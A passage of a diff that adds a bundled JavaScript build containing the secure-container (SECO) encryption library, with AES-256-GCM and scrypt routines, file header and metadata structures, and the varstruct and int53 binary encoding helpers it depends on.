cipher.getAuthTag(); + return { + authTag, + blob, + iv + }; + } + function aesDecrypt(key, blob, { + iv, + authTag + }) { + const decipher = _browserifyAes.default.createDecipheriv("aes-256-gcm", key, iv); + decipher.setAuthTag(authTag); + const message = Buffer.concat([decipher.update(blob), decipher.final()]); + return message; + } + function boxEncrypt(passphrase, message, scryptParams) { + const { + key, + salt + } = stretchPassphrase(passphrase, scryptParams); + const { + authTag, + blob, + iv + } = aesEncrypt(key, message); + return { + authTag, + blob, + iv, + salt + }; + } + function boxDecrypt(passphrase, blob, { + iv, + authTag + }, scryptParams) { + scryptParams = { + ...createScryptParams(), + ...scryptParams + }; + const { + key + } = stretchPassphrase(passphrase, scryptParams); + const message = aesDecrypt(key, blob, { + iv, + authTag + }); + return message; + } + function sha256(message) { + return (0, _createHash.default)("sha256").update(message).digest(); + } +}); + +// node_modules/secure-container/lib/blob.js +var require_blob = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.encrypt = encrypt; + exports.decrypt = decrypt; + var scCrypto = _interopRequireWildcard(require_crypto()); + function _getRequireWildcardCache() { + if (typeof WeakMap !== "function") + return null; + var cache = new WeakMap; + _getRequireWildcardCache = function() { + return cache; + }; + return cache; + } + function _interopRequireWildcard(obj) { + if (obj && obj.__esModule) { + return obj; + } + if (obj === null || typeof obj !== "object" && typeof obj !== "function") { + return { default: obj }; + } + var cache = _getRequireWildcardCache(); + if (cache && cache.has(obj)) { + return cache.get(obj); + } + var newObj = {}; + var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; + for (var key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; + if (desc && (desc.get || desc.set)) { + Object.defineProperty(newObj, key, desc); + } else { + newObj[key] = obj[key]; + } + } + } + newObj.default = obj; + if (cache) { + cache.set(obj, newObj); + } + return newObj; + } + function encrypt(message, metadata, blobKey) { + const { + authTag, + iv, + blob + } = scCrypto.aesEncrypt(blobKey, message); + metadata.blob = { + authTag, + iv + }; + return { + blob, + blobKey + }; + } + function decrypt(blob, metadata, blobKey) { + const message = scCrypto.aesDecrypt(blobKey, blob, metadata.blob); + return message; + } +}); + +// node_modules/varstruct/util.js +var require_util = __commonJS((exports) => { + exports.reduce = function(items, iter, acc) { + for (var i = 0;i < items.length; ++i) + acc = iter(acc, items[i], i, items); + return acc; + }; + exports.isAbstractCodec = function(codec) { + return codec && typeof codec.encode === "function" && typeof codec.decode === "function" && typeof codec.encodingLength === "function"; + }; +}); + +// node_modules/varstruct/types/object.js +var require_object = __commonJS((exports, module) => { + var util = require_util(); + module.exports = function(items) { + if (!Array.isArray(items)) + throw new TypeError("items must be an Array instance"); + items = items.map(function(item) { + if (Array.isArray(item)) + item = { name: item[0], type: item[1] }; + if (!item || typeof item.name !== "string") + throw new TypeError('item missing "name" property'); + if (!util.isAbstractCodec(item.type)) + throw new TypeError('item "' + item.name + '" has invalid codec'); + return { name: item.name, type: item.type }; + }); + function encodingLength(obj) { + return util.reduce(items, function(total, item) { + return total + item.type.encodingLength(obj[item.name]); + }, 0); + } + return { + encode: function encode(value, buffer, offset) { + if (typeof value !== "object" || value === null) + throw new TypeError("expected value as object, got " + value); + if (!buffer) + buffer = new Buffer(encodingLength(value)); + if (!offset) + offset = 0; + encode.bytes = util.reduce(items, function(loffset, item) { + item.type.encode(value[item.name], buffer, loffset); + return loffset + item.type.encode.bytes; + }, offset) - offset; + return buffer; + }, + decode: function decode(buffer, offset, end) { + if (!offset) + offset = 0; + var obj = {}; + decode.bytes = util.reduce(items, function(loffset, item) { + obj[item.name] = item.type.decode(buffer, loffset, end); + return loffset + item.type.decode.bytes; + }, offset) - offset; + return obj; + }, + encodingLength + }; + }; +}); + +// node_modules/int53/index.js +var require_int53 = __commonJS((exports, module) => { + var int53 = {}; + var MAX_UINT32 = 4294967295; + var MAX_INT53 = 9007199254740991; + function onesComplement(number) { + number = ~number; + if (number < 0) { + number = (number & 2147483647) + 2147483648; + } + return number; + } + function uintHighLow(number) { + console.assert(number > -1 && number <= MAX_INT53, "number out of range"); + console.assert(Math.floor(number) === number, "number must be an integer"); + var high = 0; + var signbit = number & 4294967295; + var low = signbit < 0 ? (number & 2147483647) + 2147483648 : signbit; + if (number > MAX_UINT32) { + high = (number - low) / (MAX_UINT32 + 1); + } + return [high, low]; + } + function intHighLow(number) { + if (number > -1) { + return uintHighLow(number); + } + var hl = uintHighLow(-number); + var high = onesComplement(hl[0]); + var low = onesComplement(hl[1]); + if (low === MAX_UINT32) { + high += 1; + low = 0; + } else { + low += 1; + } + return [high, low]; + } + function toDouble(high, low, signed) { + if (signed && (high & 2147483648) !== 0) { + high = onesComplement(high); + low = onesComplement(low); + console.assert(high < 2097152, "number too small"); + return -(high * (MAX_UINT32 + 1) + low + 1); + } else { + console.assert(high < 2097152, "number too large"); + return high * (MAX_UINT32 + 1) + low; + } + } + int53.readInt64BE = function(buffer, offset) { + offset = offset || 0; + var high = buffer.readUInt32BE(offset); + var low = buffer.readUInt32BE(offset + 4); + return toDouble(high, low, true); + }; + int53.readInt64LE = function(buffer, offset) { + offset = offset || 0; + var low = buffer.readUInt32LE(offset); + var high = buffer.readUInt32LE(offset + 4); + return toDouble(high, low, true); + }; + int53.readUInt64BE = function(buffer, offset) { + offset = offset || 0; + var high = buffer.readUInt32BE(offset); + var low = buffer.readUInt32BE(offset + 4); + return toDouble(high, low, false); + }; + int53.readUInt64LE = function(buffer, offset) { + offset = offset || 0; + var low = buffer.readUInt32LE(offset); + var high = buffer.readUInt32LE(offset + 4); + return toDouble(high, low, false); + }; + int53.writeInt64BE = function(number, buffer, offset) { + offset = offset || 0; + var hl = intHighLow(number); + buffer.writeUInt32BE(hl[0], offset); + buffer.writeUInt32BE(hl[1], offset + 4); + }; + int53.writeInt64LE = function(number, buffer, offset) { + offset = offset || 0; + var hl = intHighLow(number); + buffer.writeUInt32LE(hl[1], offset); + buffer.writeUInt32LE(hl[0], offset + 4); + }; + int53.writeUInt64BE = function(number, buffer, offset) { + offset = offset || 0; + var hl = uintHighLow(number); + buffer.writeUInt32BE(hl[0], offset); + buffer.writeUInt32BE(hl[1], offset + 4); + }; + int53.writeUInt64LE = function(number, buffer, offset) { + offset = offset || 0; + var hl = uintHighLow(number); + buffer.writeUInt32LE(hl[1], offset); + buffer.writeUInt32LE(hl[0], offset + 4); + }; + module.exports = int53; +}); + +// node_modules/varstruct/types/numbers.js +var require_numbers = __commonJS((exports) => { + var int53 = require_int53(); + function createNumber(type, length) { + var read = Buffer.prototype["read" + type]; + var write = Buffer.prototype["write" + type]; + function encode(value, buffer, offset) { + if (!buffer) + buffer = new Buffer(length); + if (!offset) + offset = 0; + write.call(buffer, value, offset); + return buffer; + } + function decode(buffer, offset, end) { + if (!offset) + offset = 0; + if (!end) + return read.call(buffer, offset); + return read.call(buffer.slice(offset, end), 0); + } + encode.bytes = decode.bytes = length; + return { encode, decode, encodingLength: function() { + return length; + } }; + } + function createNumber64(read, write) { + function encode(value, buffer, offset) { + if (!buffer) + buffer = new Buffer(8); + if (!offset) + offset = 0; + write(value, buffer, offset); + return buffer; + } + function decode(buffer, offset, end) { + if (!offset) + offset = 0; + if (!end) + return read(buffer, offset); + return read(buffer.slice(offset, end), 0); + } + encode.bytes = decode.bytes = 8; + return { encode, decode, encodingLength: function() { + return 8; + } }; + } + exports.Byte = createNumber("UInt8", 1); + exports.Int8 = createNumber("Int8", 1); + exports.UInt8 = createNumber("UInt8", 1); + exports.Int16BE = createNumber("Int16BE", 2); + exports.Int16LE = createNumber("Int16LE", 2); + exports.UInt16BE = createNumber("UInt16BE", 2); + exports.UInt16LE = createNumber("UInt16LE", 2); + exports.Int32BE = createNumber("Int32BE", 4); + exports.Int32LE = createNumber("Int32LE", 4); + exports.UInt32BE = createNumber("UInt32BE", 4); + exports.UInt32LE = createNumber("UInt32LE", 4); + exports.Int64BE = createNumber64(int53.readInt64BE, int53.writeInt64BE); + exports.Int64LE = createNumber64(int53.readInt64LE, int53.writeInt64LE); + exports.UInt64BE = createNumber64(int53.readUInt64BE, int53.writeUInt64BE); + exports.UInt64LE = createNumber64(int53.readUInt64LE, int53.writeUInt64LE); + exports.FloatBE = createNumber("FloatBE", 4); + exports.FloatLE = createNumber("FloatLE", 4); + exports.DoubleBE = createNumber("DoubleBE", 8); + exports.DoubleLE = createNumber("DoubleLE", 8); +}); + +// node_modules/varstruct/types/array.js +var require_array = __commonJS((exports, module) => { + var util = require_util(); + module.exports = function(length, itemType) { + if (typeof length !== "number") + throw new TypeError("length must be a number"); + if (!util.isAbstractCodec(itemType)) + throw new TypeError("itemType is invalid codec"); + function _length(items) { + return util.reduce(items, function(total, item) { + return total + itemType.encodingLength(item); + }, 0); + } + return { + encode: function encode(value, buffer, offset) { + if (!Array.isArray(value)) + throw new TypeError("value must be an Array instance"); + if (value.length !== length) + throw new RangeError("value.length is out of bounds"); + if (!buffer) + buffer = new Buffer(_length(value)); + if (!offset) + offset = 0; + encode.bytes = util.reduce(value, function(loffset, item) { + itemType.encode(item, buffer, loffset); + return loffset + itemType.encode.bytes; + }, offset) - offset; + return buffer; + }, + decode: function decode(buffer, offset, end) { + if (!offset) + offset = 0; + var items = new Array(length); + decode.bytes = util.reduce(items, function(loffset, item, index) { + items[index] = itemType.decode(buffer, loffset, end); + return loffset + itemType.decode.bytes; + }, offset) - offset; + return items; + }, + encodingLength: function(value) { + if (!Array.isArray(value)) + throw new TypeError("value must be an Array instance"); + if (value.length !== length) + throw new RangeError("value.length is out of bounds"); + return _length(value); + } + }; + }; +}); + +// node_modules/varstruct/types/vararray.js +var require_vararray = __commonJS((exports, module) => { + var util = require_util(); + module.exports = function(lengthType, itemType) { + if (!util.isAbstractCodec(lengthType)) + throw new TypeError("lengthType is invalid codec"); + if (!util.isAbstractCodec(itemType)) + throw new TypeError("itemType is invalid codec"); + function _length(items) { + return util.reduce(items, function(total, item) { + return total + itemType.encodingLength(item); + }, lengthType.encodingLength(items.length)); + } + return { + encode: function encode(value, buffer, offset) { + if (!Array.isArray(value)) + throw new TypeError("value must be an Array instance"); + if (!buffer) + buffer = new Buffer(_length(value)); + if (!offset) + offset = 0; + lengthType.encode(value.length, buffer, offset); + encode.bytes = util.reduce(value, function(loffset, item) { + itemType.encode(item, buffer, loffset); + return loffset + itemType.encode.bytes; + }, lengthType.encode.bytes + offset) - offset; + return buffer; + }, + decode: function decode(buffer, offset, end) { + if (!offset) + offset = 0; + var items = new Array(lengthType.decode(buffer, offset, end)); + decode.bytes = util.reduce(items, function(loffset, item, index) { + items[index] = itemType.decode(buffer, loffset, end); + return loffset + itemType.decode.bytes; + }, lengthType.decode.bytes + offset) - offset; + return items; + }, + encodingLength: function(value) { + if (!Array.isArray(value)) + throw new TypeError("value must be an Array instance"); + return _length(value); + } + }; + }; +}); + +// node_modules/varstruct/types/sequence.js +var require_sequence = __commonJS((exports, module) => { + var util = require_util(); + module.exports = function(types) { + if (!Array.isArray(types)) + throw new TypeError("types must be an Array instance"); + types = types.map(function(itemType) { + if (!util.isAbstractCodec(itemType)) + throw new TypeError("types Array has invalid codec"); + return itemType; + }); + function _length(items) { + return util.reduce(types, function(total, itemType, index) { + return total + itemType.encodingLength(items[index]); + }, 0); + } + return { + encode: function encode(value, buffer, offset) { + if (!Array.isArray(value)) + throw new TypeError("value must be an Array instance"); + if (value.length !== types.length) + throw new RangeError("value.length is out of bounds"); + if (!buffer) + buffer = new Buffer(_length(value)); + if (!offset) + offset = 0; + encode.bytes = util.reduce(types, function(loffset, itemType, index) { + itemType.encode(value[index], buffer, loffset); + return loffset + itemType.encode.bytes; + }, offset) - offset; + return buffer; + }, + decode: function decode(buffer, offset, end) { + if (!offset) + offset = 0; + var items = new Array(types.length); + decode.bytes = util.reduce(types, function(loffset, itemType, index) { + items[index] = itemType.decode(buffer, loffset, end); + return loffset + itemType.decode.bytes; + }, offset) - offset; + return items; + }, + encodingLength: function(value) { + if (!Array.isArray(value)) + throw new TypeError("value must be an Array instance"); + if (value.length !== types.length) + throw new RangeError("value.length is out of bounds"); + return _length(value); + } + }; + }; +}); + +// node_modules/varstruct/types/buffer.js +var require_buffer = __commonJS((exports, module) => { + module.exports = function(length) { + if (typeof length !== "number") + throw new TypeError("length must be a number"); + function encode(value, buffer, offset) { + if (!Buffer.isBuffer(value)) + throw new TypeError("value must be a Buffer instance"); + if (value.length !== length) + throw new RangeError("value.length is out of bounds"); + if (!buffer) + return new Buffer(value); + if (!offset) + offset = 0; + if (offset + length > buffer.length) + throw new RangeError("destination buffer is too small"); + value.copy(buffer, offset); + return buffer; + } + function decode(buffer, offset, end) { + if (!offset) + offset = 0; + if (!end) + end = buffer.length; + if (offset + length > end) + throw new RangeError("not enough data for decode"); + return new Buffer(buffer.slice(offset, offset + length)); + } + encode.bytes = decode.bytes = length; + return { encode, decode, encodingLength: function() { + return length; + } }; + }; +}); + +// node_modules/varstruct/types/varbuffer.js +var require_varbuffer = __commonJS((exports, module) => { + var util = require_util(); + module.exports = function(lengthType) { + if (!util.isAbstractCodec(lengthType)) + throw new TypeError("lengthType is invalid codec"); + function _length(value) { + return lengthType.encodingLength(value.length) + value.length; + } + return { + encode: function encode(value, buffer, offset) { + if (!Buffer.isBuffer(value)) + throw new TypeError("value must be a Buffer instance"); + if (!buffer) + buffer = new Buffer(_length(value)); + if (!offset) + offset = 0; + lengthType.encode(value.length, buffer, offset); + offset += lengthType.encode.bytes; + if (offset + value.length > buffer.length) + throw new RangeError("destination buffer is too small"); + value.copy(buffer, offset, 0, value.length); + encode.bytes = lengthType.encode.bytes + value.length; + return buffer; + }, + decode: function decode(buffer, offset, end) { + if (!offset) + offset = 0; + if (!end) + end = buffer.length; + var blength = lengthType.decode(buffer, offset, end); + offset += lengthType.decode.bytes; + if (offset + blength > end) + throw new RangeError("not enough data for decode"); + decode.bytes = lengthType.decode.bytes + blength; + return new Buffer(buffer.slice(offset, offset + blength)); + }, + encodingLength: function(value) { + if (!Buffer.isBuffer(value)) + throw new TypeError("value must be a Buffer instance"); + return _length(value); + } + }; + }; +}); + +// node_modules/varstruct/types/string.js +var require_string = __commonJS((exports, module) => { + var BufferType = require_buffer(); + module.exports = function(length, encoding) { + if (typeof length !== "number") + throw new TypeError("length must be a number"); + var bufferCodec = BufferType(length); + if (!encoding) + encoding = "utf-8"; + function encode(value, buffer, offset) { + if (typeof value !== "string") + throw new TypeError("value must be a string"); + return bufferCodec.encode(new Buffer(value, encoding), buffer, offset); + } + function decode(buffer, offset, end) { + return bufferCodec.decode(buffer, offset, end).toString(encoding); + } + encode.bytes = decode.bytes = length; + return { encode, decode, encodingLength: bufferCodec.encodingLength }; + }; +}); + +// node_modules/varstruct/types/varstring.js +var require_varstring = __commonJS((exports, module) => { + var VarBuffer = require_varbuffer(); + var util = require_util(); + module.exports = function(lengthType, encoding) { + if (!util.isAbstractCodec(lengthType)) + throw new TypeError("lengthType is invalid codec"); + var varbuffer = VarBuffer(lengthType); + if (!encoding) + encoding = "utf8"; + return { + encode: function encode(value, buffer, offset) { + if (typeof value !== "string") + throw new TypeError("value must be a string"); + buffer = varbuffer.encode(new Buffer(value, encoding), buffer, offset); + encode.bytes = varbuffer.encode.bytes; + return buffer; + }, + decode: function decode(buffer, offset, end) { + var sbuffer = varbuffer.decode(buffer, offset, end); + decode.bytes = varbuffer.decode.bytes; + return sbuffer.toString(encoding); + }, + encodingLength: function(value) { + if (typeof value !== "string") + throw new TypeError("value must be a string"); + return varbuffer.encodingLength(new Buffer(value, encoding)); + } + }; + }; +}); + +// node_modules/varstruct/types/bound.js +var require_bound = __commonJS((exports, module) => { + var util = require_util(); + module.exports = function(itemType, checkValue) { + if (!util.isAbstractCodec(itemType)) + throw new TypeError("itemType is invalid codec"); + if (typeof checkValue !== "function") + throw new TypeError("checkValue must be a function"); + return { + encode: function encode(value, buffer, offset) { + checkValue(value); + buffer = itemType.encode(value, buffer, offset); + encode.bytes = itemType.encode.bytes; + return buffer; + }, + decode: function decode(buffer, offset, end) { + var value = itemType.decode(buffer, offset, end); + checkValue(value); + decode.bytes = itemType.decode.bytes; + return value; + }, + encodingLength: function encodingLength(value) { + checkValue(value); + return itemType.encodingLength(value); + } + }; + }; +}); + +// node_modules/varstruct/index.js +var require_varstruct = __commonJS((exports, module) => { + module.exports = exports = require_object(); + var numbers = require_numbers(); + exports.Byte = numbers.Byte; + exports.Int8 = numbers.Int8; + exports.UInt8 = numbers.UInt8; + exports.Int16BE = numbers.Int16BE; + exports.Int16LE = numbers.Int16LE; + exports.UInt16BE = numbers.UInt16BE; + exports.UInt16LE = numbers.UInt16LE; + exports.Int32BE = numbers.Int32BE; + exports.Int32LE = numbers.Int32LE; + exports.UInt32BE = numbers.UInt32BE; + exports.UInt32LE = numbers.UInt32LE; + exports.Int64BE = numbers.Int64BE; + exports.Int64LE = numbers.Int64LE; + exports.UInt64BE = numbers.UInt64BE; + exports.UInt64LE = numbers.UInt64LE; + exports.FloatBE = numbers.FloatBE; + exports.FloatLE = numbers.FloatLE; + exports.DoubleBE = numbers.DoubleBE; + exports.DoubleLE = numbers.DoubleLE; + exports.Array = require_array(); + exports.VarArray = require_vararray(); + exports.Sequence = require_sequence(); + exports.Buffer = require_buffer(); + exports.VarBuffer = require_varbuffer(); + exports.String = require_string(); + exports.VarString = require_varstring(); + exports.Bound = require_bound(); +}); + +// node_modules/secure-container/lib/util.js +var require_util2 = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.vsf = vsf; + exports.CStr = CStr; + var _varstruct = _interopRequireWildcard(require_varstruct()); + function _getRequireWildcardCache() { + if (typeof WeakMap !== "function") + return null; + var cache = new WeakMap; + _getRequireWildcardCache = function() { + return cache; + }; + return cache; + } + function _interopRequireWildcard(obj) { + if (obj && obj.__esModule) { + return obj; + } + if (obj === null || typeof obj !== "object" && typeof obj !== "function") { + return { default: obj }; + } + var cache = _getRequireWildcardCache(); + if (cache && cache.has(obj)) { + return cache.get(obj); + } + var newObj = {}; + var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; + for (var key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; + if (desc && (desc.get || desc.set)) { + Object.defineProperty(newObj, key, desc); + } else { + newObj[key] = obj[key]; + } + } + } + newObj.default = obj; + if (cache) { + cache.set(obj, newObj); + } + return newObj; + } + function vsf(fields) { + return fields.map((fields2) => ({ + name: fields2[0], + type: Array.isArray(fields2[1]) ? (0, _varstruct.default)(vsf(fields2[1])) : fields2[1] + })); + } + function CStr(length, encoding = "utf8") { + let bufferCodec = (0, _varstruct.Buffer)(length); + function encode(value, buffer, offset) { + let buf = Buffer.alloc(length); + buf.write(value, encoding); + return bufferCodec.encode(buf, buffer, offset); + } + function decode(buffer, offset, end) { + let buf = bufferCodec.decode(buffer, offset, end); + let i = 0; + for (;i < buf.length; i++) + if (buf[i] === 0) + break; + return buf.slice(0, i).toString(encoding); + } + const encodingLength = () => length; + encode.bytes = decode.bytes = length; + return { + encode, + decode, + encodingLength + }; + } +}); + +// node_modules/secure-container/lib/header.js +var require_header = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.checkMagic = checkMagic; + exports.decode = decode; + exports.encode = encode; + exports.serialize = serialize; + exports.create = create; + exports.struct = exports.MAGIC = exports.HEADER_VERSION_TAG = exports.HEADER_LEN_BYTES = undefined; + var _varstruct = _interopRequireWildcard(require_varstruct()); + var _util = require_util2(); + function _getRequireWildcardCache() { + if (typeof WeakMap !== "function") + return null; + var cache = new WeakMap; + _getRequireWildcardCache = function() { + return cache; + }; + return cache; + } + function _interopRequireWildcard(obj) { + if (obj && obj.__esModule) { + return obj; + } + if (obj === null || typeof obj !== "object" && typeof obj !== "function") { + return { default: obj }; + } + var cache = _getRequireWildcardCache(); + if (cache && cache.has(obj)) { + return cache.get(obj); + } + var newObj = {}; + var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; + for (var key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; + if (desc && (desc.get || desc.set)) { + Object.defineProperty(newObj, key, desc); + } else { + newObj[key] = obj[key]; + } + } + } + newObj.default = obj; + if (cache) { + cache.set(obj, newObj); + } + return newObj; + } + var HEADER_LEN_BYTES = 224; + exports.HEADER_LEN_BYTES = HEADER_LEN_BYTES; + var HEADER_VERSION_TAG = "seco-v0-scrypt-aes"; + exports.HEADER_VERSION_TAG = HEADER_VERSION_TAG; + var MAGIC = Buffer.from("SECO", "utf8"); + exports.MAGIC = MAGIC; + function checkMagic(magic) { + if (!magic.equals(MAGIC)) + throw new RangeError("Invalid secure container magic."); + } + var struct = (0, _varstruct.default)((0, _util.vsf)([ + ["magic", (0, _varstruct.Bound)(_varstruct.default.Buffer(4), checkMagic)], + ["version", _varstruct.UInt32BE], + ["reserved", _varstruct.UInt32BE], + ["versionTag", (0, _varstruct.VarString)(_varstruct.UInt8)], + ["appName", (0, _varstruct.VarString)(_varstruct.UInt8, "utf-8")], + ["appVersion", (0, _varstruct.VarString)(_varstruct.UInt8, "utf-8")] + ])); + exports.struct = struct; + function decode(headerBlob) { + if (headerBlob.byteLength > HEADER_LEN_BYTES) + console.warn(`header greater than ${HEADER_LEN_BYTES} bytes, are you sure this is the header?`); + return struct.decode(headerBlob); + } + function encode(header) { + return struct.encode(header); + } + function serialize(header) { + let buf = Buffer.alloc(HEADER_LEN_BYTES); + encode(header).copy(buf); + return buf; + } + function create({ + appName, + appVersion + } = { + appName: "", + appVersion: "" + }) { + return { + magic: MAGIC, + version: 0, + reserved: 0, + versionTag: HEADER_VERSION_TAG, + appName, + appVersion + }; + } +}); + +// node_modules/secure-container/lib/metadata.js +var require_metadata = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.decode = decode; + exports.encode = encode; + exports.serialize = serialize; + exports.create = create; + exports.encryptBlobKey = encryptBlobKey; + exports.decryptBlobKey = decryptBlobKey; + exports.struct = exports.METADATA_LEN_BYTES = undefined; + var _varstruct = _interopRequireWildcard(require_varstruct()); + var _crypto = require_crypto(); + var _util = require_util2(); + function _getRequireWildcardCache() { + if (typeof WeakMap !== "function") + return null; + var cache = new WeakMap; + _getRequireWildcardCache = function() { + return cache; + }; + return cache; + } + function _interopRequireWildcard(obj) { + if (obj && obj.__esModule) { + return obj; + } + if (obj === null || typeof obj !== "object" && typeof obj !== "function") { + return { default: obj }; + } + var cache = _getRequireWildcardCache(); + if (cache && cache.has(obj)) { + return cache.get(obj); + } + var newObj = {}; + var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; + for (var key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; + if (desc && (desc.get || desc.set)) { + Object.defineProperty(newObj, key, desc); + } else { + newObj[key] = obj[key]; + } + } + } + newObj.default = obj; + if (cache) { + cache.set(obj, newObj); + } + return newObj; + } + var METADATA_LEN_BYTES = 256; + exports.METADATA_LEN_BYTES = METADATA_LEN_BYTES; + var struct = (0, _varstruct.default)((0, _util.vsf)([["scrypt", [["salt", (0, _varstruct.Buffer)(32)], ["n", _varstruct.UInt32BE], ["r", _varstruct.UInt32BE], ["p", _varstruct.UInt32BE]]], ["cipher", (0, _util.CStr)(32)], ["blobKey", [["iv", (0, _varstruct.Buffer)(_crypto.IV_LEN_BYTES)], ["authTag", (0, _varstruct.Buffer)(16)], ["key", (0, _varstruct.Buffer)(32)]]], ["blob", [["iv", (0, _varstruct.Buffer)(_crypto.IV_LEN_BYTES)], ["authTag", (0, _varstruct.Buffer)(16)]]]])); + exports.struct = struct; + function decode(metadataBlob) { + if (metadataBlob.byteLength > METADATA_LEN_BYTES) + console.warn("metadata greater than `${METADATA_LEN_BYTES}` bytes, are you sure this is the SECO metadata?"); + return struct.decode(metadataBlob); + } + function encode(metadataObject) { + return struct.encode(metadataObject); + } + function serialize(metadata) { + let buf = Buffer.alloc(METADATA_LEN_BYTES); + encode(metadata).copy(buf); + return buf; + } + function create(scryptParams = (0, _crypto.createScryptParams)()) { + return { + scrypt: scryptParams, + cipher: "aes-256-gcm", + blobKey: { + iv: Buffer.alloc(_crypto.IV_LEN_BYTES), + authTag: Buffer.alloc(16), + key: Buffer.alloc(32) + }, + blob: { + iv: Buffer.alloc(_crypto.IV_LEN_BYTES), + authTag: Buffer.alloc(16) + } + }; + } + function encryptBlobKey(metadata, passphrase, blobKey) { + const { + authTag, + blob, + iv, + salt + } = (0, _crypto.boxEncrypt)(passphrase, blobKey, metadata.scrypt); + metadata.scrypt.salt = salt; + metadata.blobKey = { + authTag, + iv, + key: blob + }; + } + function decryptBlobKey(metadata, passphrase) { + const blobKey = (0, _crypto.boxDecrypt)(passphrase, metadata.blobKey.key, metadata.blobKey, metadata.scrypt); + return blobKey; + } +}); + +// node_modules/secure-container/lib/buffer.js +var require_buffer2 = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.fromUInt32BE = fromUInt32BE; + function fromUInt32BE(num) { + let buf = Buffer.alloc(4); + buf.writeUInt32BE(num); + return buf; + } +}); + +// node_modules/secure-container/lib/file.js +var require_file = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.decode = decode; + exports.encode = encode; + exports.computeChecksum = computeChecksum; + exports.checkContents = checkContents; + exports.struct = undefined; + var _varstruct = _interopRequireWildcard(require_varstruct()); + var _buffer = require_buffer2(); + var scCrypto = _interopRequireWildcard(require_crypto()); + var _util = require_util2(); + var _header = require_header(); + var _metadata = require_metadata(); + function _getRequireWildcardCache() { + if (typeof WeakMap !== "function") + return null; + var cache = new WeakMap; + _getRequireWildcardCache = function() { + return cache; + }; + return cache; + } + function _interopRequireWildcard(obj) { + if (obj && obj.__esModule) { + return obj; + } + if (obj === null || typeof obj !== "object" && typeof obj !== "function") { + return { default: obj }; + } + var cache = _getRequireWildcardCache(); + if (cache && cache.has(obj)) { + return cache.get(obj); + } + var newObj = {}; + var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; + for (var key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; + if (desc && (desc.get || desc.set)) { + Object.defineProperty(newObj, key, desc); + } else { + newObj[key] = obj[key]; + } + } + } + newObj.default = obj; + if (cache) { + cache.set(obj, newObj); + } + return newObj; + } + var struct = (0, _varstruct.default)((0, _util.vsf)([["header", (0, _varstruct.Buffer)(_header.HEADER_LEN_BYTES)], ["checksum", (0, _varstruct.Buffer)(32)], ["metadata", (0, _varstruct.Buffer)(_metadata.METADATA_LEN_BYTES)], ["blob", (0, _varstruct.VarBuffer)(_varstruct.UInt32BE)]])); + exports.struct = struct; + function decode(fileContents) { + return struct.decode(fileContents); + } + function encode(fileContents) { + return struct.encode(fileContents); + } + function computeChecksum(metadata, blob) { + return scCrypto.sha256(Buffer.concat([metadata, (0, _buffer.fromUInt32BE)(blob.byteLength), blob])); + } + function checkContents(fileContents) { + let fileObj = decode(fileContents); + return fileObj.checksum.equals(computeChecksum(fileObj.metadata, fileObj.blob)); + } +}); + +// node_modules/secure-container/lib/index.js +var require_lib2 = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.encrypt = encrypt; + exports.decrypt = decrypt; + var _randombytes = _interopRequireDefault(require_randombytes()); + var conBlob = _interopRequireWildcard(require_blob()); + var conHeader = _interopRequireWildcard(require_header()); + var conMetadata = _interopRequireWildcard(require_metadata()); + var conFile = _interopRequireWildcard(require_file()); + function _getRequireWildcardCache() { + if (typeof WeakMap !== "function") + return null; + var cache = new WeakMap; + _getRequireWildcardCache = function() { + return cache; + }; + return cache; + } + function _interopRequireWildcard(obj) { + if (obj && obj.__esModule) { + return obj; + } + if (obj === null || typeof obj !== "object" && typeof obj !== "function") { + return { default: obj }; + } + var cache = _getRequireWildcardCache(); + if (cache && cache.has(obj)) { + return cache.get(obj); + } + var newObj = {}; + var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; + for (var key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; + if (desc && (desc.get || desc.set)) { + Object.defineProperty(newObj, key, desc); + } else { + newObj[key] = obj[key]; + } + } + } + newObj.default = obj; + if (cache) { + cache.set(obj, newObj); + } + return newObj; + } + function _interopRequireDefault(obj) { + return obj && obj.__esModule ? obj : { default: obj }; + } + function encrypt(data, options = {}) { + if (!options.header) + console.warn("seco: should pass options.header."); + let header = conHeader.create(options.header); + let blobKey; + let metadata; + if (options.passphrase) { + blobKey = (0, _randombytes.default)(32); + metadata = conMetadata.create(); + conMetadata.encryptBlobKey(metadata, options.passphrase, blobKey); + } else if (options.metadata && options.blobKey) { + blobKey = options.blobKey; + metadata = options.metadata; + } else { + throw new Error("Must set either passphrase or (metadata and blobKey)"); + } + data = Buffer.isBuffer(data) ? data : Buffer.from(data, "utf8"); + let { + blob: encBlob + } = conBlob.encrypt(data, metadata, blobKey); + const headerBuf = conHeader.serialize(header); + const mdBuf = conMetadata.serialize(metadata); + let fileObj = { + header: headerBuf, + checksum: conFile.computeChecksum(mdBuf, encBlob), + metadata: mdBuf, + blob: encBlob + }; + const encryptedData = conFile.encode(fileObj); + 